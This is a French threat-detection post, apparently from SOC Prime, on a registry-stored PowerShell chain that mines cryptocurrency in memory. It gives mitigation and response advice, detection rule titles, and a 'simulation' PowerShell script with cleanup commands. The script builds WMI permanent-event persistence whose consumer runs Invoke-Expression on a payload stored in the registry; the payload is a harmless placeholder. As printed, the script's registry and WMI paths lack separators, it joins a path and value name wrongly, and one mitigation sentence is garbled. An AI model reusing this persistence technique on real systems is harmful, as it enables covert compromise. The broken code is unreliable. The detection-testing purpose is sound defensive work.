SOC Prime Bias: High

21 Sep 2026 19:58 UTC

Lancement de la Cryptominage en Mémoire par un PowerShell Enregistré dans le Registre

Author Photo
SOC Prime Team linkedin icon Suivre
Lancement de la Cryptominage en Mémoire par un PowerShell Enregistré dans le Registre
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Une chaîne d’infection à plusieurs étapes utilise des techniques de dissimulation sophistiquées pour déployer un mineur de cryptomonnaie. L’attaque stocke des charges utiles dans le Registre et exploite les enregistrements DNS TXT ainsi que la stéganographie dans les fichiers PNG et WAV pour livrer les étapes suivantes. La charge utile finale charge un assemblage .NET directement en mémoire pour effectuer le minage de cryptomonnaie via l’écosystème XMRig.

Enquête

Les analystes ont enquêté sur des alertes d’exécution répétées de PowerShell et ont découvert une stratégie de dissimulation des charges utiles stratifiée. La chaîne d’infection reconstitue le contenu malveillant à partir de conteneurs non conventionnels, y compris les données de pixels d’image et les nibbles de fichiers audio. L’exécution progresse à partir de scripts PowerShell stockés dans le Registre à travers plusieurs étapes avant de finalement charger un mineur de cryptomonnaie .NET directement en mémoire.

Atténuation

Les organisations devraient appliquer des politiques strictes d’exécution de PowerShell et surveiller les modifications suspectes du Registre associées au stockage des charges utiles. Les solutions EDR devraient détecter le chargement en mémoire d’assemblages .NET et les requêtes DNS TXT anormales. La liste blanche des applications devrait également être mise en œuvre pour empêcher le chargement de pilotes en mode noyau non autorisés tels que WinRing0.sys contre le chargement.

Réponse

Si une activité malveillante est détectée, les hôtes affectés doivent être isolés immédiatement pour arrêter la communication C2 et le minage de cryptomonnaie. Les intervenants doivent effectuer un balayage judiciaire pour les Tâches Planifiées non autorisées, les abonnements WMI et les exclusions de Microsoft Defender. Les journaux réseau doivent également être révisés pour les connexions à des domaines C2 connus et les requêtes DNS-over-HTTPS suspectes.

Flux d’attaque

Nous mettons encore à jour cette partie.

Détections

Chaînes PowerShell suspectes (via powershell)

Équipe de SOC Prime
21 septembre 2026

Appeler des méthodes .NET suspectes depuis PowerShell (via powershell)

Équipe de SOC Prime
21 septembre 2026

Un fichier image a été créé par un processus suspect (via file_event)

Équipe de SOC Prime
21 septembre 2026

Canal de commande et de contrôle DoH et DNS (via proxy)

Équipe de SOC Prime
21 septembre 2026

IOCs (HashMd5) à détecter : De PowerShell stocké dans le Registre au minage de cryptomonnaie en mémoire : Une chaîne d’infection à plusieurs étapes

Règles AI de SOC Prime
21 septembre 2026

IOCs (SourceIP) à détecter : De PowerShell stocké dans le Registre au minage de cryptomonnaie en mémoire : Une chaîne d’infection à plusieurs étapes

Règles AI de SOC Prime
21 septembre 2026

IOCs (DestinationIP) à détecter : De PowerShell stocké dans le Registre au minage de cryptomonnaie en mémoire : Une chaîne d’infection à plusieurs étapes

Règles AI de SOC Prime
21 septembre 2026

Détecter la communication DNS-over-HTTPS et HTTP/HTTPS POST C2 [Connexion réseau Windows]

Règles AI de SOC Prime
21 septembre 2026

Abonnement d’événements permanents WMI pour l’exécution de PowerShell basé sur le Registre [Événement du Registre Windows]

Règles AI de SOC Prime
21 septembre 2026

Obscurcissement de PowerShell et exécution secrète [Windows Powershell]

Règles AI de SOC Prime
21 septembre 2026

Exécution de simulation

  • Narration et commandes d’attaque : L’adversaire cherche à établir une persistance à long terme sur l’hôte compromis. Au lieu d’utiliser une clé ‘Run’ commune, ils optent pour un abonnement d’événement permanent WMI plus discret. L’attaquant crée un WMI CommandLineEventConsumer. Ce consommateur est configuré pour exécuter powershell.exe. Pour échapper à l’analyse statique de la ligne de commande, la charge utile ou la configuration malveillante réelle est stockée dans un chemin de registre non standard : HKLM:Softwareuf42a9660377vstdfehzr. Lorsque l’événement WMI se déclenche (simulé ici par un événement système), le processus PowerShell se lancera, référencera la clé de registre spécifique, déclenchant ainsi la règle de détection.

  • Script de test de régression :

    # Script de simulation : Exécution de PowerShell basée sur le Registre WMI
    # Ce script crée la clé de registre spécifique et l'abonnement WMI requis pour déclencher la règle.
    
    $regPath = "HKLM:Softwareuf42a9660377"
    $regValueName = "vstdfehzr"
    $regValueData = "Invoke-Expression (Get-ItemProperty -Path '$regPath$regValueName').Payload"
    
    # 1. Créer la clé de registre suspecte et la valeur
    if (-not (Test-Path $regPath)) {
        New-Item -Path $regPath -Force | Out-Null
    }
    New-ItemProperty -Path $regPath -Name $regValueName -Value "Write-Host 'Malicious Payload Triggered!'" -PropertyType String -Force | Out-Null
    
    # 2. Créer un abonnement d'événements permanents WMI
    # Nous utilisons un filtre pour déclencher un événement commun (par exemple, le temps de disponibilité/démarrage du système) ou simuler via la création de consommateur
    $filterName = "Win32_LocalTimeFilter"
    $consumerName = "Win32_CommandLineConsumer"
    $subscriptionName = "WmiPersistenceSubscription"
    
    # Créer un filtre (Déclenche toutes les minutes à des fins de simulation)
    $filterArgs = @{
        Name = $filterName
        QueryLanguage = "WQL"
        Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'"
    }
    $filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs
    
    # Créer un consommateur (La commande PowerShell référencée au chemin de registre spécifique)
    $commandLine = "powershell.exe -Command `"$regValueData`""
    $consumerArgs = @{
        Name = $consumerName
        CommandLineTemplate = $commandLine
    }
    $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $consumerArgs
    
    # Lier le filtre et le consommateur
    Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{
        Filter = $filter
        Consumer = $consumer
    }
    
    Write-Host "[+] Simulation : Abonnement WMI et clé de registre créés avec succès."
    Write-Host "[+] En attente de l'événement WMI pour déclencher l'exécution de PowerShell..."
    # Remarque : Dans un environnement réel, nous attendons l'événement.
    # À des fins de test, la règle recherche souvent la *création* ou le *déclenchement d'événement*.
  • Commandes de nettoyage :

    # Script de nettoyage
    Write-Host "[!] Nettoyage des artefacts de simulation..."
    
    # 1. Supprimer l'abonnement WMI
    Get-WmiObject -Namespace rootsubscription -Class __EventFilter -Filter "Name='Win32_LocalTimeFilter'" | Remove-WmiObject
    Get-WmiObject -Namespace rootsubscription -Class CommandLineEventConsumer -Filter "Name='Win32_CommandLineConsumer'" | Remove-WmiObject
    Get-WmiObject -Namespace rootsubscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -match "Win32_LocalTimeFilter" } | Remove-WmiObject
    
    # 2. Supprimer la clé de registre
    Remove-Item -Path "HKLM:Softwareuf42a9660377" -Recurse -Force
    
    Write-Host "[+] Nettoyage terminé."